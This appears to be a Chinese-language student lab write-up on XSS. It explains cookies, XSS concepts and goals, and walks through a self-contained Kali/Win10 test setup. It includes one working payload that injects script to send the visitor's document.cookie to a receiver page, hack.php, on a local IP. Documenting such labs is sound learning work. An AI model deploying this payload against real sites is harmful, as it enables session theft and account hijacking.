xss攻击测试
概念辨析
cookie?
什么是cookie?其工作机制是什么?
什么是cookie?
在了解cookie之前,我们必须明确一个概念:即HTTP协议本身是无状态
的,无状态是指Web浏览器与Web服务器之间不需要建立持久的连接,这意味着当一个客户端向服务器端发出请求,然后Web服务器返回响应(Response),连接就被关闭了,在服务器端不保留连接的有关信息。也就是说,HTTP请求只能由客户端发起,而服务器不能主动向客户端发送数据。
而cookie就是这个身份的证明
,实际上是一小段的文本信息(key-value格式)。
客户端向服务器发起请求,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。
cookie的工作机制?
当用户第一次访问并登陆一个网站的时候,cookie的设置以及发送会经历4个步骤:
xss攻击
什么是xss攻击?
Cross Site Scripting ,跨站脚本攻击。
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码
到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2021年统计数据,在Web安全威胁前10位中,XSS并入代码注入(Injection),而注入威胁排在top10的第三位。
xss攻击的目的
常用的XSS攻击手段和目的有:
- 盗用cookie,获取敏感信息。
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
准备工作
测试环境
Website
:有XXS漏洞的合法网站,这里使用Kali-Linux2虚拟机作为网站服务器
Website Visitor
:受害访问者,这里使用win10物理机进行代替
Perptrator
:攻击者及数据接收网站。说明:将合法网站和攻击者接收网站都放在Kali虚拟机
使用脚本
对于website,使用submit.php
1 |
|
对于Perptrator,使用hack.php
1 |
|
恶意payload:
"/> <script>window.open("http://192.168.2.123/hack.php?cookie="+document.cookie);</script><!--
测试流程
这里把红蓝方合并,即既使用此虚拟机作为xss漏洞网站,有作为接收网站。
第一步 脚本部署
在虚拟机 /var/www/html/处进行部署,这里是apache服务的默认地址
第二步 IP地址查询
Kali使用ifconfig,win10 使用ipconfig进行查询。可知二者在一个子网。
第三步 漏洞利用
在Kali里进行网站的访问与恶意payload的输入
第四步 漏洞验证
在win10 物理机进行访问,查看结果
实验收获
- 了解了cookie的概念与原理
- 知道了xss攻击的一些基本知识
- 实际演示了一次xss攻击的流程,对漏洞存在者、漏洞利用者、受害者的关系有了清晰的理解。